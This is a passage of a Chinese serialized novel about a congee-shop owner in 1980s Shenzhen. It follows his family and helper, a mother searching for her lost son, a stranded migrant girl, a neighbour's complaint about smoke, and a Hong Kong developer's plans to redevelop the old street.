醒来时天还没亮,但东方已经泛起鱼肚白。新的一天又要开始了。
陈永福轻手轻脚地起床,开始挑水,生火,熬粥。
第一缕阳光照进老街时,家香粥铺的炊烟已经升起来了。淡淡的,灰白色的,混在晨雾里,飘向这座刚刚醒来的城市。
锅里的粥开始咕嘟咕嘟冒泡,米香弥漫开来。陈永福用长勺慢慢搅着,看着米粒在滚水里翻腾,渐渐开花,渐渐稠厚。
他知道,今天还会有很多客人来。认识的,不认识的;开心的,愁苦的;年轻的,年老的。他们会坐在这老榕树下,喝一碗热粥,说几句话,然后继续各自的生活。
而他和他的粥铺,就在这里。不挪窝,不涨价,不关门。
这是他在深圳扎下的第一根根。虽然细,虽然浅,但已经扎下去了。
3. 生根
黄秀英送夜宵的第四天,出事了。
不是她出事,是那辆三轮车。夜里回来时,前轮撞到路面的坑,车圈变形了。推回来时吱嘎吱嘎响,左摇右摆像喝醉了酒。
陈永福蹲在门口修车,用扳手敲打变形的辐条。敲了十几下,车圈还是歪的。修自行车的王师傅过来看,摇摇头:“得换车圈,我这没有这种型号的。”
“能修吗?”陈永福问。
“勉强能骑,就是费劲。”王师傅说,“要不你加点钱,我帮你搞辆二手的。”
“多少钱?”
“七八十吧。”
陈永福不吭声了。七八十,够买两袋米,够交两个月水电费。他继续敲打车圈,敲得火星子都溅出来了。黄秀英站在旁边,低着头,手指绞着衣角。
“老板,对不起,是我没看路……”
“不怪你。”陈永福说,“天黑,路又烂。”
最后车圈勉强敲正了些,但骑起来还是晃。陈永福试了试,从铺面骑到街口再骑回来,满身是汗。这车送夜宵不行了,太重,路又远。
“明天开始,我去送。”他对黄秀英说。
“老板,还是我去吧,我年轻……”
“让你别去就别去。”陈永福语气有点硬,“女孩子走夜路不安全。车子又不好骑,万一摔了怎么办。”
黄秀英不说话了,转身去洗碗。碗在木盆里碰得叮当响。
那天晚上,陈永福自己去送的夜宵。五十个饭盒装了两大筐,挂在三轮车两边。车子确实不好骑,歪歪扭扭的,他得用力把住车把才不跑偏。
工地离老街有三里多路,一半是土路。白天车来车往压出的坑,晚上看不清。陈永福骑得很慢,马灯在车把上摇晃,照亮前面一小片。有几次车轮陷进坑里,他得下来推。
到工地时已经十一点过五分了。郑工头在门口等,见他来了,赶紧叫人卸货。
“今天晚了点啊。”郑工头说。
“车子坏了,不好骑。”陈永福擦着汗。
工人们围上来领饭盒。饿了一晚上,打开盖子就蹲在路边吃。有人吃太快烫了嘴,嘶嘶吸气。有人抱怨肉少,旁边的人就说“一毛五你想吃多少肉”。
陈永福看着他们吃,心里踏实了些。这些人从老家来,跟他一样,都是为了挣口饭吃。他的粥和粉能让他们吃饱,能让他们有力气继续干活,这就值了。
回去的路上,他骑得更慢。夜深了,路两边黑漆漆的。偶尔有野狗窜过去,眼睛在黑暗里发绿光。远处工地的灯火像星星,一盏一盏的。
他想起了老家的夜。那里也有狗叫,但更多的是虫鸣。夏天晚上,田里的青蛙呱呱地叫,一阵一阵的。父亲会坐在院子里抽烟,烟头一明一灭。母亲在灯下补衣服,针线穿过布料的嘶啦声,细细碎碎的。
来深圳快三个月了,他还没给家里写过信。不是不想写,是不知道写什么。说生意好?才刚起步。说赚钱了?还欠着贷款。说这里很好?其实累得腰都快断了。
最后他决定,等这个月做完,把钱攒一攒,给家里寄五十块。五十块在老家能买不少东西,够父母用一阵子。
回到铺面已经快十二点了。林玉兰还没睡,在灯下缝补衣服。见他回来,起身去灶台热了碗粥。
“吃了没?”
“在工地吃了点。”陈永福接过粥,“秀英睡了?”
“睡了,建国也睡了。”
陈永福喝着粥,把修车的事说了。林玉兰听完,沉默了一会儿。
“要不,真去买辆二手的?”
“七八十呢。”陈永福摇头,“再撑撑,等手头宽裕点。”
“可你这样天天送,太累。白天还要干活。”
“没事,撑得住。”
林玉兰不说话了,继续缝衣服。针在布上来回穿梭,线拉得紧紧的。过了一会儿,她轻声说:“今天收到阿珍的信了。”
“说什么?”
“说她那个制衣厂要扩招,问秀英还想不想回去。”林玉兰停下手里的活,“她说现在工资涨了,一个月能有五十块。”
陈永福手里的勺子停在半空。
“你跟秀英说了?”
“还没。”
两人都没再说话。煤油灯的火焰跳了一下,爆出个灯花。
黄秀英一个月工资三十块,包吃住。制衣厂五十块,但不包吃住。算下来其实差不多。但如果秀英走了,店里又少个人手。再招人,又得从头教。
“明天我问问她。”陈永福说。
第二天早上,黄秀英干活时格外卖力。擦桌子擦了三遍,碗洗得能照见人影。盛粥时总是堆得满满的,咸菜也给得多。
陈永福看在眼里,知道她是为昨晚的事过意不去。
中午客人少的时候,他把黄秀英叫到后边。
“秀英,你阿珍姐来信了,说制衣厂要招人,工资一个月五十。”
黄秀英愣了一下,手指攥紧了围裙。
“你要是想回去,我不拦你。”陈永福说,“这几个月你干得挺好,我们都看在眼里。你要是走,我给你结清工资,再多补十块,算辛苦费。”
黄秀英低着头,很久没说话。老榕树上有鸟在叫,叽叽喳喳的。
“老板,老板娘,”她抬起头,眼睛有点红,“我不想走。”
“为什么?那边工资高。”
“高是高,可是……可是那里没人对我好。”黄秀英声音哽咽了,“在制衣厂,我就是个机器,每天对着缝纫机,从天亮做到天黑。组长天天骂,嫌我慢。做的衣服一件件从我手里过,但我不知道穿在谁身上。”
她抹了抹眼睛:“在这里,我盛的粥,人家喝下去,会说一声好喝。我擦的桌子,人家坐上去,会夸一句干净。晚上睡觉,我知道你们就在帘子那边。老板老板娘把我当家里人,建国叫我秀英姐。这些……这些比五十块钱重要。”
陈永福鼻子有点酸。他转过身,假装看锅里的粥。
“你要想清楚。”
“我想清楚了。”黄秀英说,“只要你们不赶我走,我就一直在这里干。”
林玉兰走过来,拉住黄秀英的手:“傻孩子,我们怎么会赶你走。你就是我们家里人。”
那天晚上,黄秀英干活更起劲了。洗碗时还哼起了歌,梅县的山歌,调子轻轻的,软软的。
陈永福听着歌,心里做了个决定。第二天一早,他去了王师傅的铺子。
“王师傅,那辆二手三轮车,能不能便宜点?”
王师傅正在补胎,头也不抬:“最低七十,不能再少了。”
“六十五行不行?我手头紧。”
“六十八。”王师傅抬头看他,“陈老板,我也是小本生意。”
陈永福从兜里掏出钱。六十八块,厚厚一沓。他数了三遍,才递过去。
王师傅接过钱,从后面推出一辆三轮车。车是旧的,但车圈是好的,链条也刚上过油。
“试试。”
陈永福骑了一圈,确实比那辆坏的好多了。他付了钱,推着新车往回走。走到半路,又折回去,买了斤五花肉。
中午吃饭时,他把新车推到铺面前。黄秀英看见了,眼睛睁得老大。
“老板,这……”
“新车,以后你送夜宵用。”陈永福说,“晚上骑车小心点,别太快。”
黄秀英摸着新车把,手有点抖。林玉兰从屋里端出菜,除了平时的咸菜,还有一盘红烧肉,油亮亮的。
“今天加菜。”林玉兰笑着说,“庆祝咱们粥铺满三个月。”
三个人坐下吃饭。□□夹了块最大的肉,想了想,放到黄秀英碗里。
“秀英姐吃。”
黄秀英眼泪掉下来了,赶紧用袖子擦。
“哭什么,吃肉。”陈永福给她夹了块肉,“以后好好干,咱们一起把生意做好。”
“嗯!”黄秀英用力点头。
那天下午,来了个特别的客人。
是个女人,四十来岁,穿着蓝灰色的确良衬衫,头发梳得整整齐齐。她提着个黑色人造革提包,站在铺面前看了很久,才走进来。
“请问,这里是不是有个叫陈永福的?”她问,普通话带点北方口音。
陈永福从灶台后抬起头:“我就是。您是?”
女人从提包里掏出一张照片,递过来:“您见过这个孩子吗?”
照片是个男孩,七八岁的样子,圆脸,小平头,穿着白衬衫蓝裤子。背景像是某个公园。
陈永福仔细看了看,摇头:“没见过。这是?”
“我儿子。”女人坐下,把照片小心地收好,“两个月前在火车站走丢了。有人说可能被人带到深圳来了,我就在这边找。”
林玉兰盛了碗粥过来:“大姐,先喝点粥吧。”
女人接过粥,没喝,只是捧着碗暖手:“我在老家是小学老师,请了假出来的。深圳这么大,不知道从哪里找起。”
“报警了吗?”黄秀英问。
“报了,派出所登了记。可每天丢孩子的那么多,警察也顾不过来。”女人说着,眼泪在眼眶里打转,“我就这一个孩子,他爸走得早,要是孩子找不回来,我也活不下去了。”
铺面里安静下来。老榕树的影子慢慢移动,阳光一点点斜过来。
陈永福不知道怎么安慰她。他也有孩子,知道孩子丢了是什么滋味。但他一个开粥铺的,能帮什么忙?
“大姐贵姓?”他问。
“姓周,周淑芬。”
“周老师,您要是不嫌弃,这几天就在这附近找找。我让来喝粥的人都看看照片,兴许有人见过。”陈永福说,“您住哪儿?”
“还没找到住处,昨晚在车站坐了一夜。”
林玉兰和黄秀英对视一眼。
“要不,您先住我们这儿?”林玉兰说,“就是地方小,您别嫌弃。”
周淑芬连连摆手:“那怎么行,太打扰了。”
“不打扰,多个人多双筷子。”陈永福说,“您白天去找孩子,晚上回来住。总比住车站强。”
周淑芬看看这个,看看那个,眼泪终于掉下来:“谢谢,谢谢你们。”
晚上,陈永福用木板在铺面角落搭了个简易床铺。地方窄,只能放张窄板子,铺上草席。周淑芬的提包放在床头,她坐在床沿上,看着这个小空间,很久没说话。
夜里,陈永福听见压抑的哭声。细细的,像小猫叫。他知道是周淑芬在哭,但他没出声。有些苦,只能自己咽。
第二天一早,周淑芬就出门了。她把照片复印了几十份,准备到处贴。陈永福给她装了两个馒头,一壶水。
“中午记得回来吃饭。”
“哎,谢谢陈老板。”
白天,每个来喝粥的客人,陈永福都给他们看照片。工人们凑过来看,摇头说没见过。有个常来的货车司机说,他在东莞拉货时好像见过类似的男孩,但不能确定。
“要是再看见,您给带回来。”陈永福说,“我们出车费。”
“行,我留意着。”
周淑芬中午回来了,走得满脚是泥。她说去了几个工地,问了一些人,都没消息。林玉兰给她盛了满满一碗粥,她吃得很快,像是急着吃完再出去。
下午她又出去了。这次去了更远的地方,罗湖桥那边,据说有些流浪儿在那里讨生活。
傍晚回来时,她眼睛亮了些。
“有人说在蔡屋围那边见过一个像的男孩,跟一群孩子在一起捡破烂。我明天去看看。”
“蔡屋围离这不近,我让秀英骑车送您去。”陈永福说。
“不用不用,我自己去。”
“让秀英送吧,她认识路。”
第二天,黄秀英用三轮车拉着周淑芬去了蔡屋围。中午回来时,两人都垂头丧气。
“不是,那孩子眉毛上有颗痣,我儿子没有。”周淑芬说,“白跑一趟。”
但下午又有了新线索。一个来喝粥的建筑工人说,他在上步区那边做工时,看见过几个孩子在工地上玩,有一个很像照片上的。
周淑芬立刻要去,被陈永福拦住了。
“今天晚了,明天再去。上步区远,得坐车。”
“我坐公交车去。”
“让秀英陪你去,两个人有个照应。”
就这样,周淑芬在粥铺住了下来。白天出去找孩子,晚上回来。有时候带回一点模糊的消息,更多时候是一无所获。她人瘦了一圈,眼窝深陷,但眼神里的光没灭。
粥铺的客人们都知道了这事。来喝粥时,总会问一句“孩子找到了吗”。听说还没找到,就叹气,说几句宽慰的话。有个老顾客是邮递员,主动说帮她在送信时问问。
慢慢地,粥铺成了周淑芬的临时据点。她在这里接线索,等消息,也在这里得到一点温暖。林玉兰每天给她留饭,黄秀英帮她洗衣服,□□有时候会拉着她说话,问“哥哥什么时候回来”。
周淑芬摸着□□的头,轻声说:“快了,就快找到了。”
其实她自己也不知道什么时候能找到。深圳这么大,人这么多,找一个孩子就像大海捞针。但她不能放弃,放弃了,就真的什么都没有了。
八月底的一天,下大雨。
雨是午后开始下的,哗啦啦的,像天漏了。老街很快积了水,浑浊的雨水裹着垃圾流向下水道。行人匆匆跑过,溅起一片水花。
粥铺里一个客人都没有。陈永
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福坐在门口看雨,林玉兰在里间补衣服,黄秀英教□□认字。周淑芬本来要出去,被雨拦住了,坐在角落里发呆。
雨下了两个小时才变小。街上的水慢慢退去,露出湿漉漉的石板路。
这时,一个人跑进铺面,浑身湿透,是常来的那个货车司机。
“陈老板,快,给我碗热粥,冻死了。”
陈永福赶紧盛粥。司机接过碗,一口气喝下半碗,才喘过气来。
“今天从广州回来,路上雨大,差点出事。”
“安全回来就好。”陈永福给他加了勺咸菜。
司机忽然想起什么,从怀里掏出个油布包,打开,里面是几张湿了的照片。
“周老师呢?我好像有消息了。”
周淑芬猛地站起来:“我在!什么消息?”
“我在广州卸货时,听那边的人说,有个深圳过去的女人在找孩子,描述跟你儿子很像。他们说那孩子可能被带到广州了,在火车站一带。”
周淑芬的手抖起来:“广州火车站?”
“对。那边人多,流浪儿也多。你要是想去,我可以带你去,我明天还要去广州送货。”
周淑芬看向陈永福。陈永福点点头:“去看看吧,万一呢。”
“可是……”周淑芬犹豫,“如果不是,又白跑一趟。”
“不去怎么知道是不是。”林玉兰走过来,“周老师,去吧,我帮你收拾东西。”
那天晚上,周淑芬几乎没睡。她坐在床铺上,一遍遍看儿子的照片。照片已经看旧了,边角都磨白了。照片上的孩子笑得很开心,露出缺了一颗的门牙。
第二天一早,货车司机来了。周淑芬提着她的人造革提包,里面装着换洗衣服、照片复印件,还有陈永福塞给她的五十块钱。
“这钱我不能要……”她推辞。
“拿着,出门在外,没钱不行。”陈永福把钱塞进她提包,“找到了孩子,赶紧给我们捎个信。”
“嗯,一定。”
周淑芬上了货车。车子发动时,她从车窗探出头,朝粥铺挥手。陈永福一家人站在老榕树下,也朝她挥手。
货车开远了,消失在老街尽头。
黄秀英轻声问:“老板,你说周老师能找到孩子吗?”
“不知道。”陈永福说,“但总得找。”
雨后的早晨,空气清新。老榕树的叶子洗得发亮,一滴水珠从叶尖滴下来,落在石板路上,溅起小小的水花。
陈永福转身回铺面,开始生火熬粥。锅里的水慢慢热起来,米粒在滚水里翻滚。他拿着长勺,慢慢地搅。
生活就是这样,有寻找,有等待,有希望,也有失望。但日子总得过下去,粥总得熬下去。
周淑芬走了,粥铺又恢复了平时的样子。只是客人们来喝粥时,还是会问一句“周老师找到孩子了吗”。听说去了广州,就点点头,说“那边机会大些”。
九月中旬,陈永福收到了周淑芬寄来的信。信很短,说在广州找了一圈,没找到。但她不放弃,还要继续找。信里还夹了十块钱,说是还他的。
陈永福把信收好,把钱放回饼干盒。他没指望她还钱,但她还了,说明她还有力气,还有希望。
九月最后一天,陈永福算账。这个月生意不错,总共收入六百四十块。扣除成本、工资、贷款,净赚两百八十块。他把钱分成三份:一百块存着还贷款,一百五十块留着周转,三十块寄回老家。
去邮局汇款时,他犹豫了一下,又加了二十块。五十块,够父母用两三个月了。
汇款单要填留言,他想了半天,写下一行字:儿在深圳安好,勿念。生意渐稳,年后或可接二老来深一游。
写完后,他看了很久,才把汇款单递进窗口。
走出邮局,阳光很好。街道两边的工地还在施工,脚手架一层层往上搭。有工人在高空作业,小小的身影挂在钢架上,远看像蚂蚁。
陈永福慢慢往回走。路过百货商店时,他停了一下,走进去,给林玉英买了条丝巾。粉色的,带小碎花,三块五毛钱。又给□□买了支钢笔,英雄牌的,一块二。给黄秀英买了双尼龙袜,九毛。
回到粥铺时,林玉兰正在准备晚上的食材。他把丝巾递过去,林玉兰愣了一下。
“买这个干嘛,浪费钱。”
“天快凉了,系着暖和。”
林玉兰接过丝巾,摸了摸,嘴角弯起来。她没舍得戴,小心地折好,收进口袋里。
□□拿到钢笔,高兴得跳起来。黄秀英接过袜子,眼睛又红了。
“老板,我……”
“别说了,干活。”陈永福摆摆手,转身去挑水。
那天晚上,粥铺打烊后,四个人坐在老榕树下乘凉。九月的夜风已经有了凉意,吹在身上很舒服。
□□在灯下练字,用新钢笔写自己的名字。黄秀英在补袜子,针线细细地走。林玉兰把丝巾拿出来,又看了一遍,还是没舍得戴。
陈永福点了支烟,慢慢抽着。烟是便宜的“大前门”,味道冲,但他抽惯了。
远处传来火车的汽笛声,呜——长长的,沉沉的。不知道是哪趟车,开往哪里,车上坐着什么人。
他想起周淑芬,不知道她现在在哪里,还在不在广州。也想起老家,父母这时候应该睡了,或者还在灯下做活。
来深圳快半年了。从一无所有,到有了这个粥铺,有了固定的客人,有了微薄的收入。从两个人,到四个人,又到三个人。像一棵树,慢慢往下扎根,虽然扎得还不深,但已经能在风雨里站住了。
烟抽完了,他把烟头踩灭。
“明天国庆,工地放假,生意可能少些。咱们也休息半天,下午去东门逛逛。”
“真的?”□□眼睛亮了。
“真的。”陈永福摸摸儿子的头,“来深圳这么久,还没带你们出去看看。”
夜深了,他们收拾东西进屋。灯一盏盏熄灭,铺面陷入黑暗。只有老榕树还站在那里,在夜风里轻轻摇晃叶子。
远处,工地的灯火依然通明。打桩机的声音隐隐传来,咚,咚,咚,像是这座年轻城市的心跳,有力,执着,不知疲倦。
陈永福躺在床上,听着这声音,慢慢睡着了。梦里,他看见粥铺变大了,客人坐满了老榕树下。周淑芬牵着儿子回来了,孩子长高了,但还是照片上那个笑脸。父母从老家来了,坐在店里喝粥,说“这粥熬得好,跟老家一个味”。
醒来时天还没亮。他轻手轻脚起床,开始一天的活计。
挑水,生火,熬粥。
第一缕阳光照进老街时,家香粥铺的炊烟又升起来了。淡淡的,灰白色的,混在晨雾里,飘向这座永远在生长的城市。
4. 邻舍
国庆节那天,陈永福一家去了东门。
这是他们来深圳后第一次真正意义上的“逛”。之前总是忙,从早到晚,眼里只有粥铺和那条老街。走出老街,才发现深圳已经变了模样。
东门老街比罗湖老街宽,人也多。路两边多了不少店铺,卖衣服的,卖电器的,卖日用品的。招牌五颜六色,有的还用上了霓虹灯,白天也亮着。
□□眼睛不够用了,看什么都新鲜。他指着一家服装店橱窗里的模特:“阿爸,那个假人会动吗?”
“不会,那是塑料的。”
“可是它穿着衣服。”
“衣服是穿上去的。”
陈永福给儿子解释,心里却也在惊讶。老家县城最大的百货公司,也没这么多衣服。这里的衣服款式新,颜色艳,女装还有裙子短到膝盖以上的。
林玉兰在一家布料店前停下脚步。橱窗里挂着各种花布,的确良的,棉布的,还有带亮片的。她看中一块碎花布,蓝底白花,素净。
“老板,这布怎么卖?”
“一块二一尺,做件衬衫要五尺。”
林玉兰算了算,六块钱。她摸摸口袋,里面有三块钱,是陈永福给她零花的。她犹豫了一下,还是走开了。
黄秀英看见旁边有卖头绳的,红的绿的,一毛钱一根。她买了两根,一根红的给自己,一根绿的给林玉兰。
“老板娘,给你。”
林玉兰接过头绳,笑了笑:“我都这年纪了,还扎这么艳的。”
“年纪怎么了,扎上好看。”
中午,他们在路边摊吃了肠粉。肠粉是广东小吃,米浆蒸成薄皮,裹上肉末虾仁,淋上酱油。一份三毛钱,陈永福要了四份。
吃完肠粉,又逛了一会儿。□□看见有卖汽水的,玻璃瓶里橙黄色的液体,瓶口塞着颗玻璃珠。他咽了咽口水,但没开口要。
陈永福看见了,走过去:“老板,来一瓶。”
“一毛五。”
汽水打开时“噗”的一声,玻璃珠掉进瓶里。□□小心地喝了一口,眼睛瞪大了:“甜的!”
“慢慢喝,别呛着。”
四个人分着喝完一瓶汽水,继续往前走。走到一处工地,围挡上写着“国贸大厦施工现场”。工地很大,塔吊高高耸立,工人们在脚手架上忙碌。
陈永福站住了,仰头看。这楼已经盖了十几层了,听说要盖到五十多层。五十多层是什么概念,他想不出来。老家最高的建筑是镇上的水塔,六层。
“听说这楼三天盖一层。”旁边有个看热闹的老人说,“深圳速度。”
三天一层。陈永福想起自己的粥铺,三个月才站稳脚跟。人和人不一样,楼和楼也不一样。有的楼三天一层,有的铺子三个月才熬出一锅像样的粥。
回家的路上,□□睡着了,趴在陈永福背上。孩子不重,但路远,走到后来陈永福也出汗了。林玉兰要换他,他不让。
“不重,我背得动。”
其实重,但他愿意背。儿子一天天长大,能背的机会不多了。在老家时,他常背儿子去田里,儿子在他背上咿咿呀呀说话,小手抓他肩膀。现在儿子七岁了,再过几年,想背也背不动了。
回到粥铺已是傍晚。老唐坐在门口的小板凳上,看见他们回来,站起身。
“老唐,吃过没?”陈永福打招呼。
老唐点点头,又摇摇头。他是楼上住户,五十多岁,在附近工厂看大门。老伴早年过世,儿子在惠州工作,一个人住。平时话不多,但常来喝粥。
“有事?”陈永福问。
老唐犹豫了一下,指指粥铺的烟囱:“你们这个烟,往楼上飘。我窗户都不敢开。”
陈永福抬头看。烟囱是铁皮的,从灶台通出来,伸到屋檐外。平时没注意,现在仔细看,烟确实有点往楼上飘。特别是刮北风的时候。
“不好意思啊老唐,我们想想办法。”
“不用太麻烦,就是……就是提个醒。”老唐说完,背着手走了。
林玉兰看着他的背影:“要不,把烟囱加高一段?”
“加高得找人,要钱。”陈永福说,“我先看看能不能调个方向。”
晚上打烊后,他搬了梯子爬上去看。烟囱口正对着老唐家的窗户,距离不到三米。难怪烟往那边飘。
他试着把烟囱口扭了个方向,但铁皮烟囱用了几个月,接口处已经锈住了,用力扭也扭不动。反而把一块锈铁皮掰了下来。
“明天找王师傅看看。”他爬下梯子。
第二天一早,他去找王师傅。王师傅正在修自行车,听了情况,说:“简单,加个弯头就行。我这儿有废铁皮,给你做一个。”
“多少钱?”
“邻里邻居的,要什么钱。”王师傅摆摆手,“中午给我留碗粥就行。”
王师傅手艺好,用废铁皮敲了个弯头,接口处用铆钉固定。陈永福拿回来装上,烟囱口就转向了另一边。试了试,烟果然不往楼上飘了。
中午,老唐来喝粥。陈永福给他盛了满满一碗,多加了勺肉末。
“老唐,烟囱改好了,您看看还飘不飘烟。”
老唐抬头看看,点点头:“好了,谢谢。”
“该我谢谢您,给我们提意见。”
老唐慢慢喝粥,喝完一碗,又要了一碗。第二碗喝完,他没马上走,坐在那里看着街上来往的人。
“陈老板来深圳多久了?”
“半年多点。”
“半年……”老唐从兜里掏出烟,是“丰收”牌,便宜烟。他递给陈永福一支,自己点上,“我来了三年了。儿子给我弄来的,说是特区,机会多。”
“您儿子在惠州?”
“嗯,当技术员。”老唐吐了口烟,“他让我去惠州,我不去。这里住惯了,老街坊都认识。去了那边,人生地不熟,说话都听不懂。”
陈永福点点头。他理解这种感觉。在老家,从村头走到村尾,每个人都能叫出名字。在这里,除了粥铺的客人,其他人都是陌生的。
“您一个人,吃饭怎么解决?”他问。
“厂里有食堂,但味道不好。有时候自己煮点,有时候来你这喝粥。”老唐弹了弹烟灰,“你们潮汕人做粥是有一手,熬得稠,米香。”
“您喜欢就好。”
老唐抽完烟,起身走了。走了几步,又回头:“对了,晚上要是剩粥,给我留一碗。我下夜班回来喝。”
“好嘞。”
从那以后,老唐成了粥铺的常客。早上上班前来一碗,晚上下夜班来一碗。有时候带着厂里发的劳保手套来,丢给陈永福:“厂里发的,我用不完,你们干活用得着。”
手套是帆布的,厚实。陈永福收下,第二天给老唐的粥里多放点料。
十月中旬,天气转凉了。
早晨起来要披件外套,灶台边的温度倒是让人舒服。熬粥时热气腾腾的,站在锅边不觉得冷。
粥铺的生意更好了。天冷,人都想吃点热乎的。除了早上的工地订单,中午晚上也常常满座。陈永福又添了一张桌子,摆在老榕树下。树下搭了个简易棚子,用竹竿撑起来,盖上油毡布,下雨天也能做生意。
黄秀英送夜宵的路线也熟了。她记下了哪段路有坑,哪个拐角路灯暗,哪条巷子有狗。有时候回来晚了,林玉兰会站在门口等,看见三轮车的灯光才放心。
一天晚上,黄秀英回来时带回一个人。
是个年轻女孩,十八九岁,背着个花布包袱,怯生生地站在三轮车旁。黄秀英说是在路边看见的,女孩蹲在路灯下哭,一问,是从四川来的,找不着亲戚了。
“先进屋吧。”陈永福说。
女孩叫李红梅,四川达县人。说是来深圳投奔表姐的,表姐在制衣厂做工。她按地址找过去,厂里人说表姐两个月前辞职了,不知道去了哪里。她身上的钱用完了,今天一天没吃饭。
林玉兰盛了碗热粥给她。女孩接过碗,手抖得厉害,粥差点洒出来。她低着头喝,喝得很快,噎着了,咳了几声。
“慢点喝,锅里还有。”林玉兰轻轻拍她的背。
喝完粥,女孩缓过来了些。她看着这个小铺面,又看看眼前这几个人,眼睛红了。
“谢谢,谢谢你们。”
“你今晚有地方住吗?”黄秀英问。
女孩摇头。
黄秀英看向陈永福。陈永福沉默了一会儿。铺面就这么大,已经住了四个人。再加一个,实在挤不下了。
“要不,”林玉兰说,“让红梅跟我挤挤,建国跟他爸睡。”
“那怎么行……”女孩连忙摆手。
“就这么定了。”陈永福说,“先住下,明天再想办法。”
晚上,李红梅和林玉兰挤一张床。床窄,两人得侧着身睡。李红梅很拘谨,尽量往墙边靠,怕挤着林玉兰。
“老板娘,我……我明天就去找工作。”
“不急,先安顿下来。”林玉兰说,“你会做什么?”
“我会缝衣服,在老家跟人学过。”
“那好办,明天问问王师傅,他认识人多。”
第二天,王师傅还真有门路。他有个亲戚在宝安开了个服装加工厂,正招人。
“不过宝安有点远,得坐车去。”
“远不怕,有工作就行。”李红梅说。
陈永福给了她五块钱路费,又让黄秀英陪她去。两人坐早班车去了宝安,中午就回来了,脸上带着笑。
“成了!老板让我明天就去上班,包吃住,一个月四十五块。”
李红梅要跪下来磕头,被林玉兰拉住了。
“别这样,出门在外,互相帮衬是应该的。”
“我一定好好干,发了工资就还你们钱。”
“不急,你先安顿好自己。”
李红梅在粥铺又住了一晚。第二天一早,陈永福送她去车站。车来了,她上车前,深深鞠了一躬。
“陈老板,老板娘,秀英姐,你们是好人。我永远记得。”
车开走了。陈永福站在车站,看着车消失在晨雾里。他想起了半年前的自己,也是这样来到深圳,也是这样茫然无助。不同的是,他遇到了郑工头,遇到了周明远,还有那些来喝粥的客人。
回到粥铺,老唐在喝粥。见他回来,问:“那姑娘走了?”
“走了,去宝安做工了。”
“好人会有好报的。”老唐说。
这句话让陈永福心里一暖。他从来不觉得自己是什么好人,只是做了该做的事。但在别人眼里,这也许就是好。
十月底,粥铺来了个不寻常的客人。
是个香港人,四十多岁,穿着西装,提着公文包。他站在铺面前看了很久,才走进来。
“老板,有粥吗?”
“有,白粥肉粥皮蛋粥都有。”
“来碗皮蛋粥。”
陈永福盛粥时,那人一直打量着铺面。他的目光扫过灶台、桌椅、墙上的价目表,最后落在老榕树上。
“这棵树有些年头了。”
“听街坊说,有几十年了。”
“几十年……”香港人若有所思,“在香港,这样的老树不多见了。”
他喝粥很慢,一口一口的,像是在品味。喝完粥,他没马上走,从公文包里拿出个小本子,写了些什么。
“老板贵姓?”
“姓陈,陈永福。”
“陈老板,你这铺子生意不错。”
“马马虎虎,糊口而已。”
香港人笑了笑,没再说什么,付了钱走了。走前又看了老榕树一眼。
陈永福觉得这人有点奇怪,但没多想。深圳香港人来往多,偶尔有香港人来喝粥也不稀奇。
过了两天,那香港人又来了。这次不是一个人,还带了个戴眼镜的年轻人,手里拿着皮尺和本子。两人在铺面前量来量去,还拍了照片。
陈永福忍不住问:“先生,你们这是?”
“哦,我们是做地产开发的。”香港人说,“觉得这条老街很有潜力,想看看有没有开发的可能。”
开发?陈永福不太懂。但他隐约觉得,这不是小事。
“陈老板别担心,就是看看。”香港人拍拍他的肩,“你这粥铺位置很好,树也好。要是真开发,一定给你安排个好位置。”
他们走后,陈永福心里不踏实了。晚上跟林玉兰说这事,林玉兰也担心。
“开发是什么意思?要拆我们的铺子?”
“不知道,他说会给安排新位置。”
“新位置哪有这里好。老榕树在这儿,客人都认这棵树。”
是啊,老榕树。半年下来,这棵树已经成了粥铺的标志。工人们说“老榕树下的粥铺”,就知道是这里。要是没了这棵树,粥铺还是粥铺吗?
第二天,陈永福去问老唐。老唐在工厂见多识广,应该懂这些。
老唐听完,抽了两支烟才说话。
“开发,就是拆了旧房子,盖新楼。深圳现在到处都在开发,罗湖这边特别热。你们这铺子位置好,离火车站近,肯定有人盯上了。”
“那……
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那会怎么样?”
“有两种可能。”老唐说,“一是给你们补偿,让你们搬走。二是让你们回迁,就是新楼盖好了,还给你们一间铺面。但第二种很少,一般都是给钱。”
“给多少钱?”
“那得看面积,看位置。你们这铺子十平米,又是临街,应该能赔个几千块。”
几千块!陈永福心跳加快了。贷款才五百,要是赔几千,不但能还清贷款,还能剩不少。可是……可是粥铺怎么办?换个地方,客人还会来吗?
“老唐,你觉得该不该答应?”
“我?”老唐苦笑,“我哪知道。我楼上那间房,二十平米,要是拆了,可能也能赔点。但我在这住了三年,习惯了。搬去别处,又要重新适应。”
陈永福明白了。钱重要,但习惯也重要。人就是这样,在一个地方待久了,就有感情了。哪怕这地方破旧、拥挤,但它是家。
那之后几天,香港人没再来。但老街上的传闻多了起来。有人说整条街都要拆,盖商场。有人说只拆一边,另一边保留。还有人说香港老板出价高,一间铺面赔一万。
一万!这个数字在街坊间传开,人人都心跳。一万块是什么概念?在老家能盖三间大瓦房,在深圳能买……买什么?深圳现在房子不能买卖,但有了钱,做什么不行?
陈永福也心动。一万块,他得卖多少碗粥才能赚到?一碗赚五分钱,要卖二十万碗。每天卖两百碗,要卖一千天,差不多三年。而现在,可能几个月就能拿到。
但他又舍不得。这个铺子是他一砖一瓦弄起来的,从空荡荡到热热闹闹。每个角落都有记忆:灶台是他亲手砌的,烟囱是王师傅帮忙改的,桌椅是他一张张淘来的。还有那些客人,从陌生到熟悉,有的已经成了朋友。
林玉兰看出他的矛盾,说:“要是真拆了,我们就回老家。一万块在老家能过好日子了。”
“回老家?”陈永福没想过这个可能。
“嗯,在镇上开个小店,日子安稳。深圳太累,整天提心吊胆的。”
“可是……可是我们刚站稳脚跟。”
“站稳了又怎么样?还不是起早贪黑。”林玉兰叹了口气,“秀英也大了,该嫁人了。建国要上学,深圳学校不好进。回老家,这些都好办。”
陈永福不说话了。他知道妻子说得有道理,但心里那团火还没灭。他来深圳,不是为了挣点钱就回去的。他想在这里扎根,想让儿子在这里长大,想成为真正的深圳人。
但“深圳人”是什么?他不知道。也许就是像老唐那样,在这里住久了,习惯了,就自然而然了。
十一月初,周明远来了。
他有一阵子没来了,这次看起来更疲惫,眼里全是红血丝。要了碗粥,喝了两口就放下。
“陈老板,听说有人来看你的铺子?”
“你怎么知道?”
“做我这行的,消息灵通。”周明远点了支烟,“是香港的昌盛公司,专做旧城改造的。他们看上这片地了,要建商业中心。”
“那……那我的铺子?”
“肯定在拆迁范围内。”周明远看着他,“陈老板,这是机会。昌盛公司财大气粗,补偿不会低。拿了钱,你可以去别处开个更大的店。”
“我不想要钱,我想要铺子。”
